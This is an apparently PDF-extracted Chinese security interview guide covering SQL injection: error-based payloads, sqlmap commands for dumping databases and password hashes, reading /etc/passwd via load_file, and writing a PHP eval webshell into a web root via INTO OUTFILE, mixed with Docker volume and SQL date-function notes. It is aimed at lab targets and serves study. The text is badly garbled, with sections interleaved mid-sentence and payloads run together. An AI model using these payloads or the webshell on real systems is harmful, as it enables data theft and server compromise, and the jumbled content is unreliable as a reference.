insert into user(name,password,sex,phone,address1,address2) value(’’ or updatexml(1,concat(0x7e,(select database()),0x7e),1) or ‘’,
表名列名字段和正常查询一样只是换了个位置
利用过程
库名
表名#
查表信息(假定有一个users表,库名为dvwa
查字段值(假设字段名为last_name(dvwa.users意思为调用dvwa库的users表)
extractvalue()函数
extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串 extractvalue (XML_document, XPath_string); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc 第二个参数:XPath_string(Xpath格式的字符串),Xpath定位必须是有效的,否则会发生错误
构造payload
insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where
table_schema=database()),0x7e),1) #1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where
table_schema='dvwa' and table_name='users'),0x7e),1) #1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #?id=1' or extractvalue(0,concat(0x7e,database())) or '注意xpath回显只有一位使用limit函数逐个爆,且最长为 32 位,超过 32 位爆不了
利用过程
当前库
当前表#
表信息(假设表为users
字段值(字段为 user_id,first_name,last_name, (dvwa.users意思为调用dvwa库的users表)
floor()函数
floor()是mysql的一个取整函数
库名
表名(库为dvwa,通过修改 limit 0,1值递增查表, limit 1,1、limit 2,1
字段名(库:dvwa,表:users
字段值(字段值:user,password(dvwa.users意思为调用dvwa库users表
exp()函数
当传递一个大于 709 的值时,函数exp()就会引起一个溢出错误。
库名
表名(库名:pikachu
字段名(表名:users
1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where
table_schema=database()))) #1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where
table_schema=database() and table_name='users'))) #1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from
dvwa.users))) #id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x
#id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from
information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from
information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from
information_schema.schemata group by x#id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users
limit 0,1)) x from information_schema.schemata group by x#id=1' or exp(~(SELECT * from(select database())a)) or 'id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema
= 'pikachu')a)) or '字段值(字段名:password,表名:users
12 种报错注入函数#
1 、通过floor报错,注入语句如下:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2 、通过extractvalue报错,注入语句如下:
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3 、通过updatexml报错,注入语句如下:
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4 、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
5 、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6 、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);
7 、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8 、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9 、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10 、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11 、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12 、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
二十六、sql 注入怎么测?#
简介#
Web应用程序的数据存储与读取通过数据库完成,而这些读写的操作通过SQL语句实现。实际项目中可能因为开发人员的疏忽或经验问题, 未对用户可输入的参数进行严格地校验,导致用户可能恶意地将SQL命令带入数据库执行,实现注入的目的。
SQL注入的条件#
参数中含有SQL语句,并可以带入数据库正常执行#
Web应用程序和数据库的交互中,必须有参数加入请求传递至数据库SQL注入的方法#
1. 搜索型参数#
判断是否存在SQL注入漏洞,需满足以下四步:#
id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name
= 'users')a)) or 'id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or 'http://127.0.0.1/sql.php?Parameter=James #正常查询数据
http://127.0.0.1/sql.php?Parameter=James' #页面异常或查询数据为空
http://127.0.0.1/sql.php?Parameter=James%'and'%'=' #正常查询数据
http://127.0.0.1/sql.php?Parameter=James%'and'a%'='b #查询数据为空或提示列表为空2.数字型参数#
判断是否存在SQL注入漏洞,需满足一下四步:#
3.字符型参数#
判断是否存在SQL注入漏洞,需满足一下四步:#
后续#
此外,一些注入的方法是通过Java+JDBC代码注入(Statement接口改为PreparedStatement接口预防)、MyBatis框架注入(Mapper XML文 件’$”拼接改为’#”拼接预防)等实现,因此对于一些对外的Web程序,SQL注入的检查是必须的,否则通过SQL注入的漏洞,外部用户可能获 取/修改数据或直接获得管理员权限,这对生产环境来说都是致命的。
二十七、使用 sqlmap 跑的详细过程,使用的哪些参数?支持哪几种类型的 sql#
注入?#
sqlmap可谓是利用sql注入的神器了,sqlmap的参数很多,接下介绍几种常见的参数。
一。注入access数据库常用的参数
sqlmap.py -u “url” //判断参数是否存在注入
sqlmap.py -u “url” –tables //猜解表名
sqlmap.py -u “url” –columns -T “要猜解的表名” //猜解列名
sqlmap.py -u “url” –dump -C “列名” -T “表名” //爆出字段数据
二。注入MySQL数据库常用参数
sqlmap.py -u “url” //判断参数是否存在注入
sqlmap.py -u “url” –current-db //查看网站当前数据库
sqlmap.py -u “url” –is-dba //查看当前用户权限
sqlmap.py -u “url” –tables //猜解表名
sqlmap.py -u “url” –columns -T “要猜解的表名” //猜解列名
sqlmap.py -u “url” –dump -C “列名” -T “表名” //爆出字段数据
三。一些常用参数集合
- h //查看帮助选项
- -dbs //查看网站所有数据库
- -users //查看所有数据库的用户
- -count //统计条数 (该条命令可用在爆表名的时候,便于查看哪个是管理员的表)
- -level //测试等级(1-5)默认是 1 ,cookie注入是 2 ,http头注入是 3
- -dbms=mysql/oracle/mssql 指定数据库(这样既可以节省时间,在某些时候也可以绕过waf)
sqlmap.py -u “url”–batch –exclude-sysdbs //batch是使用sqlmap默认选项,不用按回车;exclude-sysdbs是排除系统自带的数据库
显示调式信息
- v 显示调用信息有 7 个级别
0 , 只显示python错误以及严重的信息
1 ,同时显示基本信息和警告信息。
2 ,同时显示debug信息
3 ,同时显示注入的payload
4 ,同时显示http请求
5 ,同时显示http响应头
6 ,同时显示http响应页面
http://127.0.0.1/sql.php?Parameter=10001 #正常查询数据
http://127.0.0.1/sql.php?Parameter=10001' #页面异常或查询数据为空
http://127.0.0.1/sql.php?Parameter=10001 and 1=1 #正常查询数据
http://127.0.0.1/sql.php?Parameter=10001 and 1=2 #查询数据为空或提示列表为空http://127.0.0.1/sql.php?Parameter=James #正常查询数据
http://127.0.0.1/sql.php?Parameter=James' #页面异常或查询数据为空
http://127.0.0.1/sql.php?Parameter=James' and '1'='1 #正常查询数据
http://127.0.0.1/sql.php?Parameter=James' and '1'='2 #查询数据为空或提示列表为空- -risk //风险等级,共有四个等级, 1 会测试大部分的测试语句, 2 会增加基于事件的测试语句, 3 会增加OR语句的sql注入测试
- m //从文本中获取多个目标,文件中保存url格式,sqlmap会一个一个测试 sqlmap.py -m 1.txt
- r //获取http请求注入,sqlmap可以从一个文本文件中获取http请求,这样就可以跳过设置一些其他参数,在存在注入的http请求头加*。
利用的场景:post,搜索注入,http头注入,登陆后的注入(在登录后存在注入点,因为只有在登录后才有cookie)
- g //处理google搜索结果, sqlmap可以测试注入google的搜索结果中的get参数(前 100 个请求) sqlmap.py -g “inurl:php?id=”
二十八、sql 注入利用文件上传 doocker 怎么挂载目录到本地?#
1.什么是数据卷#
容器之间可以有一个数据共享的技术!Docker容器中产生的数据,同步到本地!
容器的持久化和同步操作!容器间也是可以数据共享的!
2.使用数据卷#
验证#
方式一:指定目录挂载#
示例#
方式二:匿名挂载#
docker inspect 容器id或容器名-v 主机目录:容器内目录docker run -it -v 主机目录1:容器内目录1 -v 主机目录2:容器内目录 2-d 后台运行
-p 端口映射
-v 卷挂载
-e 环境配置
-- name 容器名字
命令:
docker run -d -p 3306:3306 -v /home/mysql/conf:/etc/mysql/conf.d -v /home/mysql/data:/var/lib/mysql -e
MYSQL_ROOT_PASSWORD=123456 --name mysql01 mysql:5.71.挂在不指定宿主机目录,也不使用卷名。
-v 容器内路径
docker run -d -P --name nginx01 -v /etc/nginx nginx2.查看所有的volume的情况
docker volume ls
命令结果:
DRIVER VOLUME NAME
local 33ae588fae6d34f511a769948f0d3d123c9d45c442ac7728cb85599c2657e50d
local- 这里发现,这种就是匿名挂载,我们在 -v只写了容器内的路径,没有写容器外的路劲! 4.匿名挂载宿主机目录:/var/lib/docker/volumes/卷名或id/_data下
方式三:具名挂载#
方式四:dockerfile实现目录挂载#
# 1.具名挂载
-v 自定义卷名:容器内路径
docker run -d -P --name nginx02 -v juming-nginx:/etc/nginx nginx
docker volume ls
命令结果:
DRIVER VOLUME NAME
local juming-nginx# 通过 -v 卷名:容器内路径
# 查看一下这个卷# 2.具名挂载宿主机目录:/var/lib/docker/volumes/卷名或id/_data下Dockerfile 就是用来构建docker镜像的构建文件!命令脚本!先体验一下!
# 1.创建一个dockerfile文件,名字可以随便 建议Dockerfile
# 2.文件中的内容 指令(大写) 参数FROM centosVOLUME ["volume01","volume02"]CMD echo "----end----"
CMD /bin/bash#这里的每个命令,就是镜像的一层!
注意这里的是匿名挂载创建并启动dockerfile注意#
方式五:容器之间目录挂载#
容器之间的配置信息的传递,数据卷容器的生命周期一直持续到没有容器使用为止。#
但是一旦你持久化到了本地,这个时候,本地的数据是不会删除的!#
二十九、sql 时间函数有哪些?#
启动镜像1.所有的docker容器内的卷,没有指定目录挂在的情况下都是在宿主机目录:
/var/lib/docker/volumes/卷名或id/_data下2.如果是目录挂载,docker volume ls 是查看不到的3.# 通过 -v 容器内路径: ro rw 改变读写权限
ro #readonly 只读
rw #readwrite 可读可写
docker run -d -P --name nginx05 -v juming:/etc/nginx:ro nginx
docker run -d -P --name nginx05 -v juming:/etc/nginx:rw nginx
# ro 只要看到ro就说明这个路径只能通过宿主机来操作,容器内部是无法操作!#1.命令
--volumes-from 容器名或id#2.实例
docker run -d -p 3306:3306 -v /home/mysql/conf:/etc/mysql/conf.d -v /home/mysql/data:/var/lib/mysql -e
MYSQL_ROOT_PASSWORD=123456 --name mysql01 mysql:5.7
docker run -d -p 3307:3306 -e MYSQL_ROOT_PASSWORD=123456 --name mysql02 --volumes-from mysql01 mysql:5.7
# 这个时候,可以实现两个容器数据同步!#3.实例
docker run -it --name dc01 zzyy/centos
docker run -it --name dc02 --volumes-from dc01 zzyy/centos
docker run -it --name dc03 --volumes-from dc01 zzyy/centos1. 当前系统日期、时间#
select getdate() 2. dateadd 在向指定日期加上一段时间的基础上,返回新的 datetime 值 例如:向日期加上 2 天 select dateadd(day,2,‘2004-10-15’) –返回:2004-10-17 00:00:00.000
例如:查询目前时间最近三天的内容降序排列 select * from table where time between dateadd(day,-3,getdate()) and getdate() order by c_Id desc
datediff 返回跨两个指定日期的日期和时间边界数。 select datediff(day,‘2004-09-01’,‘2004-09-18’) –返回: 17
datepart 返回代表指定日期的指定日期部分的整数。 select datepart(month, ‘2004-10-15’) –返回 10
datename 返回代表指定日期的指定日期部分的字符串 select datename(weekday, ‘2004-10-15’) –返回:星期五
day(), month(),year() –可以与datepart对照一下 select 当前日期=convert(varchar(10),getdate(),120) ,当前时间=convert(varchar(8),getdate(),114) select datename(dw,‘2004-10-15’) select 本年第多少周=datename(week,‘2004-10-15’) ,今天是周几=datename(weekday,‘2004-10-15’)
函数 参数/功能 GetDate( ) 返回系统目前的日期与时间 DateDiff (interval,date1,date2) 以interval 指定的方式,返回date2 与date1两个日期之间的差值 date2-date1 DateAdd (interval,number,date) 以interval指定的方式,加上number之后的日期 DatePart (interval,date) 返回日期date中,interval指定部分所对应的整数值 DateName (interval,date) 返回日期date中,interval指定部分所对应的字符串名称 参数 interval的设定值如下: 值 缩 写(Sql Server) Access 和 ASP 说明 Year Yy yyyy 年 1753 ~ 9999 Quarter Qq q 季 1 ~ 4 Month Mm m 月1 ~ 12 Day of year Dy y 一年的日数,一年中的第几日 1-366 Day Dd d 日,1-31 Weekday Dw w 一周的日数,一周中的第几日 1-7 Week Wk ww 周,一年中的第几周 0 ~ 51 Hour Hh h 时0 ~ 23 Minute Mi n 分钟0 ~ 59 Second Ss s 秒 0 ~ 59 Millisecond Ms - 毫秒 0 ~ 999 access 和 asp 中用date()和now()取得系统日期时间;其中DateDiff,DateAdd,DatePart也同是能用于Access和asp中 举例: GetDate() 用于sql server :select GetDate() DateDiff(’s’,‘2005-07-20’,‘2005-7-25 22:56:32’)返回值为 514592 秒 DateDiff(’d’,‘2005-07-20’,‘2005-7-25 22:56:32’)返回值为 5 天 DatePart(‘w’,‘2005-7-25 22:56:32’)返回值为 2 即星期一(周日为 1 ,周六为7) DatePart(’d’,‘2005-7-25 22:56:32’)返回值为 25 即 25 号 DatePart(‘y’,‘2005-7-25 22:56:32’)返回值为 206 即这一年中第 206 天 DatePart(‘yyyy’,‘2005-7-25 22:56:32’)返回值为 2005 即 2005 年 SQL Server DATEPART() 函数返回 SQLServer datetime 字段的一部分。 SQL Server DATEPART() 函数的语法是: DATEPART(portion, datetime) 其中 datetime 是 SQLServer datetime 字段和部分的名称是下列之一: Ms for Milliseconds Yy for Year Qq for Quarter of the Year Mm for Month Dy for the Day of the Year Dd for Day of the Month Wk for Week Dw for the Day of the Week Hh for Hour Mi for Minute Ss for Second
详细的说明: 通常,你需要获得当前日期和计算一些其他的日期,例如,你的程序可能需要判断一个月的第一天或者最后一天。你们大部分人大概都 知道怎样把日期进行分割(年、 月、日等),然后仅仅用分割出来的年、月、日等放在几个函数中计算出自己所需要的日期!在这篇文章 里,我将告诉你如何使用DATEADD和 DATEDIFF函数来计算出在你的程序中可能你要用到的一些不同日期。 在使用本文中的例子之前,你必须注意以下的问题。大部分可能不是所有例子在不同的机器上执行的结果可能不一样,这完全由哪一天 是一个星期的第一天这个设置决定。第一天 (DATEFIRST)设定决定了你的系统使用哪一天作为一周的第一天。所有以下的例子都是以星期 天作为一周的第一天来建立,也就是第一天设置为 7 。假如你的第一天设置不一样,你可能需要调整这些例子,使它和不同的第一天设置相 符合。你可以通过@@DATEFIRST函数来检查第一天设置。 为了理解这些例子,我们先复习一下DATEDIFF和DATEADD函数。DATEDIFF函数计算两个日期之间的小时、天、周、月、年等时间间 隔总数。 DATEADD函数计算一个日期通过给时间间隔加减来获得一个新的日期。要了解更多的DATEDIFF和DATEADD函数以及时间间隔可 以阅读微软联机 帮助。 使用DATEDIFF和DATEADD函数来计算日期,和本来从当前日期转换到你需要的日期的考虑方法有点不同。你必须从时间间隔这个方面 来考虑。比如,从当前日期到你要得到的日期之间有多少时间间隔,或者,从今天到某一天(比如1900-1-1)之间有多少时间间隔,等等。
理解怎样着眼于时间间隔有助于你轻松的理解我的不同的日期计算例子。#
8.1.一个月的第一天#
第一个例子,我将告诉你如何从当前日期去这个月的最后一天。请注意:这个例子以及这篇文章中的其他例子都将只使用DATEDIFF和#
DATEADD函数来计算我们想要的日期。每一个例子都将通过计算但前的时间间隔,然后进行加减来得到想要计算的日期。#
这是计算一个月第一天的SQL 脚本:#
SELECT DATEADD(mm, DATEDIFF(mm,0,getdate()), 0) 我们把这个语句分开来看看它是如何工作的。最核心的函数是getdate(),大部分人都知道这个是返回当前的日期和时间的函数。下一个 执行的函数DATEDIFF(mm,0,getdate())是计算当前日期和“1900-01-01 00:00:00.000”这个日期之间的月数。记住:时期和时间变量和毫秒一 样是从“1900-01-01 00:00:00.000”开始计算的。这就是为什么你可以在DATEDIFF函数中指定第一个时间表达式为“0”。下一个函数是 DATEADD,增加当前日期到“1900-01-01”的月数。通过增加预定义的日期“1900-01-01”和当前日期的月数,我们可以获得这个月的第一天。 另外,计算出来的日期的时间部分将会是“00:00:00.000”。 这个计算的技巧是先计算当前日期到“1900-01-01”的时间间隔数,然后把它加到“1900-01-01”上来获得特殊的日期,这个技巧可以用来 计算很多不同的日期。下一个例子也是用这个技巧从当前日期来产生不同的日期。
8.2.本周的星期一 这里我是用周(wk)的时间间隔来计算哪一天是本周的星期一。 SELECT DATEADD(wk, DATEDIFF(wk,0,getdate()), 0) 8.3.一年的第一天 现在用年(yy)的时间间隔来显示这一年的第一天。 SELECT DATEADD(yy, DATEDIFF(yy,0,getdate()), 0) 8.4.季度的第一天 假如你要计算这个季度的第一天,这个例子告诉你该如何做。 SELECT DATEADD(qq, DATEDIFF(qq,0,getdate()), 0) 8.5.当天的半夜 曾经需要通过getdate()函数为了返回时间值截掉时间部分,就会考虑到当前日期是不是在半夜。假如这样,这个例子使用DATEDIFF和 DATEADD函数来获得半夜的时间点。 SELECT DATEADD(dd, DATEDIFF(dd,0,getdate()), 0) 深入DATEDIFF和DATEADD函数计算 你可以明白,通过使用简单的DATEDIFF和DATEADD函数计算,你可以发现很多不同的可能有意义的日期。 目前为止的所有例子只是仅仅计算当前的时间和“1900-01-01”之间的时间间隔数量,然后把它加到“1900-01-01”的时间间隔上来计算出 日期。 假定你修改时间间隔的数量,或者使用不同的时间间隔来调用DATEADD函数,或者减去时间间隔而不是增加, 那么通过这些小的调整你可以发现和多不同的日期。 这里有四个例子使用另外一个DATEADD函数来计算最后一天来分别替换DATEADD函数前后两个时间间隔。 8.6.上个月的最后一天 这是一个计算上个月最后一天的例子。它通过从一个月的最后一天这个例子上减去 3 毫秒来获得。有一点要记住,在Sql Server中时间是 精确到 3 毫秒。这就是为什么我需要减去 3 毫秒来获得我要的日期和时间。 SELECT dateadd(ms,-3,DATEADD(mm, DATEDIFF(mm,0,getdate()), 0)) 计算出来的日期的时间部分包含了一个Sql Server可以记录的一天的最后时刻(“23:59:59:997”)的时间。 8.7.去年的最后一天 连接上面的例子,为了要得到去年的最后一天,你需要在今年的第一天上减去 3 毫秒。 SELECT dateadd(ms,-3,DATEADD(yy, DATEDIFF(yy,0,getdate()), 0)) 8.8.本月的最后一天 现在,为了获得本月的最后一天,我需要稍微修改一下获得上个月的最后一天的语句。修改需要给用DATEDIFF比较当前日期和“1900- 01-01”返回的时间间隔上加 1 。通过加 1 个月,我计算出下个月的第一天,然后减去 3 毫秒,这样就计算出了这个月的最后一天。这是计算本 月最后一天的SQL脚本。 SELECT dateadd(ms,-3,DATEADD(mm, DATEDIFF(m,0,getdate())+1, 0)) 8.9.本年的最后一天 你现在应该掌握这个的做法,这是计算本年最后一天脚本 SELECT dateadd(ms,-3,DATEADD(yy, DATEDIFF(yy,0,getdate())+1, 0)) 8.10.本月的第一个星期一 好了,现在是最后一个例子。这里我要计算这个月的第一个星期一。这是计算的脚本。 select DATEADD(wk, DATEDIFF(wk,0, dateadd(dd,6-datepart(day,getdate()),getdate())), 0) 在这个例子里,我使用了“本周的星期一”的
三十、sql 注入 post 请求怎么用 sqlmap 扫?#
了解Sqlmap#
sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post, cookie注入,支持基于布尔的盲注,基于时间的盲注,错误回显注入,联合查询注入,堆查询注入等。
POST注入形成的原因#
POST注入也属于SQL注入,所以究其原因还是由于参数没有过滤导致的。源码如下:#
实验目的#
通过该实验熟悉sqlmap常用的命令,完成POST注入攻击。
实验环境#
服务器:CentOS,IP地址:10.1.1.136 测试者:win7,IP地址随机
实验步骤一#
使用sqlmap进行POST注入#
1.打开http://10.1.1.136,输入用户名:admin,密码:password,登录:
2.选择Brute Force选项,username和password随便输入(此处我输入admin和 123456 ),然后打开burpsuite,设置好本地代理(忘记的 同学可看实验一),进行抓包:
3.将抓到的包保存为1.txt,并放到c盘根目录下。 列数据库,输入命令:
注:-r表示加载一个文件,-p指定参数。
实验步骤二#
4.选择一个数据库,比如选mysql,猜表,输入命令:
5.猜列,输入命令:#
sqlmap.py -r c:.txt -p username --dbssqlmap.py -r c:.txt-p username -D mysql --tablessqlmap.py -r c:.txt-p username -D mysql -T user --columns6.猜数据,输入命令:#
7.此时就得到了root用户的密码哈希值,接下来解密就行。
三十一、SQL 注入除了读数据库还能干什么?说一下 SQL 注入读写文件的命#
令,SQL 注入能够成功读取文件的前提条件是什么?#
除了读取数据库中的数据,SQL 注入还可以执行其他一些操作,例如:1. 修改、删除数据库中的数据或表结构;2. 获得系统权限,例如提#
升为管理员或 root 权限;3. 读取或者写入文件。
SQL 注入读写文件的命令一般分为两类:数据库命令和操作系统命令。 数据库命令:在某些情况下,攻击者可以使用 SQL 注入语句执行数#
据库命令来读取文件,例如 Oracle 数据库中的 utl_file 包可以用来访问文件系统,攻击者可以使用该包来读取、写入文件。具体的 SQL 注入 命令如下: SELECT utl_file.fread(utl_file.file_fopen(’/etc/passwd’,‘r’),1000) FROM dual; 操作系统命令:在某些情况下, 攻击者可以使用 SQL 注入语句执行操作系统命令来读取文件。具体的 SQL 注入命令如下: SELECT load_file(’/etc/passwd’);
需要注意的是,SQL 注入能够成功读取文件的前提条件是目标数据库的读取文件权限必须开启,同时 SQL 注入语句中使用的数据库或操作系#
统命令必须是攻击者有权限执行的命令,否则注入攻击将失效。#
三十二、Oracle 时间注入函数有哪些?#
oracle数据库#
1 、获取当前时间#
select sysdate() from dual;
2 、加减某个时间间隔
select sysdate+ 1/24 from dual;
sysdate+ 1表示时间加一天,1/24表示时间加一小时;
sqlmap.py -r c:.txt -p username -D mysql -T user -C “User,Password” --dumpselect sysdate, add_months(sysdate,4) from dual;–增加 4 个月
select sysdate, add_months(sysdate,12*4) from dual;–增加 4 年
对当前时间作减法,直接在数字前加上‘-“即可。
DM7 和SQL Server 也可以用dateadd(datepart,number,date)函数进行时间加减
当前时间减去 7 分钟的时间
select sysdate,sysdate - interval ‘7’ minute from dual;
当前时间减去 7 小时的时间
select sysdate - interval ‘7’ hour from dual;
当前时间减去 7 天的时间
select sysdate - interval ‘7’ day from dual;
当前时间减去 7 月的时间
select sysdate,sysdate - interval ‘7’ month from dual;
当前时间减去 7 年的时间
select sysdate,sysdate - interval ‘7’ year from dual;
时间间隔乘以一个数字
select sysdate,sysdate - 8*interval ‘7’ hour from dual;
3 、日期相减
注:oracle时间差是以天数为单位,所以换算成年月,日
获取两个日期间的天数
select floor(sysdate - to_date(‘20220405’,‘yyyymmdd’)) from dual;
select floor(to_number(sysdate-to_date(‘2007-11-02 15:55:03’,‘yyyy-mm-dd hh24:mi:ss’))/365) as spanYears from dual //时间差- 年
select ceil(moths_between(sysdate-to_date(‘2007-11-02 15:55:03’,‘yyyy-mm-dd hh24:mi:ss’))) as spanMonths from dual //时间 差-月
select floor(to_number(sysdate-to_date(‘2007-11-02 15:55:03’,‘yyyy-mm-dd hh24:mi:ss’))) as spanDays from dual //时间差-天
select floor(to_number(sysdate-to_date(‘2007-11-02 15:55:03’,‘yyyy-mm-dd hh24:mi:ss’))*24) as spanHours from dual //时间差- 时
select floor(to_number(sysdate-to_date(‘2007-11-02 15:55:03’,‘yyyy-mm-dd hh24:mi:ss’))* 24 *60) as spanMinutes from dual //时间 差-分
select floor(to_number(sysdate-to_date(‘2007-11-02 15:55:03’,‘yyyy-mm-dd hh24:mi:ss’))* 24 * 60 *60) as spanSeconds from dual // 时间差-秒
月份差
a_date between to_date(‘20211201’,‘yyyymmdd’) and to_date(‘20211231’,‘yyyymmdd’)
4 、日期和字符相互转换方法(to_date,to_char)
to_date() 将str类型的日期转换成时间类型的日期
to_char() 将时间类型的日期转换成str类型的日期
select to_char(sysdate,‘yyyy-mm-dd hh24:mi:ss’) as nowTime from dual; //日期转化为字符串 select to_char(sysdate,‘yyyy’) as nowYear from dual; //获取时间的年 select to_char(sysdate,‘mm’) as nowMonth from dual; //获取时间的月 select to_char(sysdate,‘dd’) as nowDay from dual; //获取时间的日 select to_char(sysdate,‘hh24’) as nowHour from dual; //获取时间的时 select to_char(sysdate,‘mi’) as nowMinute from dual; //获取时间的分 select to_char(sysdate,‘ss’) as nowSecond from dual; //获取时间的秒
select to_date(‘2022-05-08 13:23:44’,‘yyyy-mm-dd hh24:mi:ss’) from dual //
5 、int时间类型转为datetime类型
将时间戳转化成* 日期格式*
SELECT TO_CHAR(时间戳的那一列 / (1000 * 60 * 60 * 24) + TO_DATE(‘1970-01-01 08:00:00’, ‘YYYY-MM-DD HH:MI:SS’), ‘YYYY-MM-DD HH:MI:SS’) AS CDATE FROM 表名 ;
select to_char(1112070645 / ( 60 * 60 * 24) + to_date(‘1970-01-01 08:00:00’, ‘YYYY-MM-DD HH:MI:SS’), ‘YYYY-MM-DD HH:MI:SS’) as cdate from dual;
6 、时间比较
select dkgl_zb , dkdl , dkdl_zb , hm , hm_zb , mn , mn_zb , lzym , lzym_zb , haomrq , dqsj from stati_rlgl_pmcsrb_zh where 1=1 and ‘2022-04-24’ = to_char(haomrq,‘yyyy-mm-dd’) order by dcno asc;
select dkgl_zb , dkdl , dkdl_zb , hm , hm_zb , mn , mn_zb , lzym , lzym_zb , haomrq , dqsj from stati_rlgl_pmcsrb_zh where 1=1 and haomrq= to_date(‘2022-04-24 09:12:23’,‘yyyy-mm-dd hh24:mi:ss’) order by dcno asc;
7 、其他时间函数#
trunc[截断到最接近的日期,单位为天] ,返回的是日期类型
select sysdate S1, trunc(sysdate) S2, //返回当前日期,无时分秒 trunc(sysdate,‘year’) YEAR, //返回当前年的 1 月 1 日,无时分秒 trunc(sysdate,‘month’) MONTH , //返回当前月的 1 日,无时分秒 trunc(sysdate,‘day’) DAY //返回当前星期的星期天,无时分秒 from dual;
获取当前时间是一年的第几天:
select to_char(sysdate,‘DDD’),sysdate from dual;
找出今年的天数:
select add_months(trunc(sysdate,‘year’), 12) - trunc(sysdate,‘year’) from dual
5 秒钟一个间隔:
select to_date(floor(to_char(sysdate,‘SSSSS’)/300) * 300,‘SSSSS’) ,to_char(sysdate,‘SSSSS’) from dual;
格式输出 :
select extract(DAY from interval)||‘天’||extract(HOUR from interval)||‘小时’||extract(MINUTE from interval)||‘分 钟’||extract(SECOND from interval)||‘秒’ 间隔 from ( select numtodsinterval(to_date(‘2008-10-09 12:30:18’,‘yyyy-mm-dd hh24:mi:ss ‘)-to_date(‘2008-10-28’,‘yyyy-mm-dd’),‘DAY’) interval from dual)
round舍入到最接近的日期 select sysdate S1, round(sysdate) S2 , round(sysdate,‘year’) YEAR, round(sysdate,‘month’) MONTH ,
round(sysdate,‘day’) DAY from dual;
三十三、SQL 注入 mysql 读写文件的配置是什么?#
前提必要条件#
需要数据库开启secure_file_priv 就是将secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改mysql配置文
件mysql.ini或者叫my.ini配置文件)
需要知道远程目录
需要远程目录有写权限
需要mysql root权限开启secure_file_priv 参数,操作看动图:
读取文件#
读取文件肯定是要知道,文件路径的,不知道的话就找已公布的中间件配置文件地址等#
例如读取虚拟机的 boot.ini 文件:
操作看动图:#
写入文件#
一般就写一个菜刀之类的小马,然后用用菜刀连接#
例如:我写入一菜刀一句话小马 文件 到 C:\phpStudy\WWW\123.php 目录下
操作看动图:#
菜刀一句话密码 123#
union select 1,load_file('文件路径') -- bbqunion select 1,load_file('c:\\boot.ini') -- bbqunion select "木马语句",2 into outfile "上传服务器文件路径" -- bbqunion select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php" -- bbq三十四、SQL 注入报错函数有哪些?#
前言#
报错注入的前提是当语句发生错误时,错误信息被输出到前端。其漏洞原因是由于开发人员在开发程序时使用了print_r (),mysql_error(), mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以通过闭合原先的语句,去执行后面的语句。
常用报错函数#
用法详解#
updatexml()函数
updatexml()函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值
语法:updatexml(xml_document,XPthstring,new_value) 第一个参数是字符串string(XML文档对象的名称) 第二个参数是指定字符串中的一个位置(Xpath格式的字符串) 第三个参数是将要替换成什么,string格式 Xpath定位必须是有效的,否则则会发生错误。我们就能利用这个特性爆出我们想要的数据
实例
注册就是往数据库里添加数据,insert。
在用户处输入单引号 报错#
猜测后端语句#
可以在xxx处对单引号闭合,爆出我们想要的数据
updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
extractvalue() 是mysql对xml文档数据进行查询的xpath函数
floor() mysql中用来取整的函数
exp() 此函数返回e(自然对数的底)指数X的幂值insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)闭合单引号使语句逃逸出来,之后重新构造语句查询,爆破出库名为:“pikachu”
分析过程#
当输入payload
后端会被拼接为#
insert into user(name,password,sex,phone,address1,address2) value(’’ or updatexml(1,concat(0x7e,(select database()),0x7e),1) or ‘’,
表名列名字段和正常查询一样只是换了个位置
利用过程
库名
表名#
查表信息(假定有一个users表,库名为dvwa
查字段值(假设字段名为last_name(dvwa.users意思为调用dvwa库的users表)
extractvalue()函数
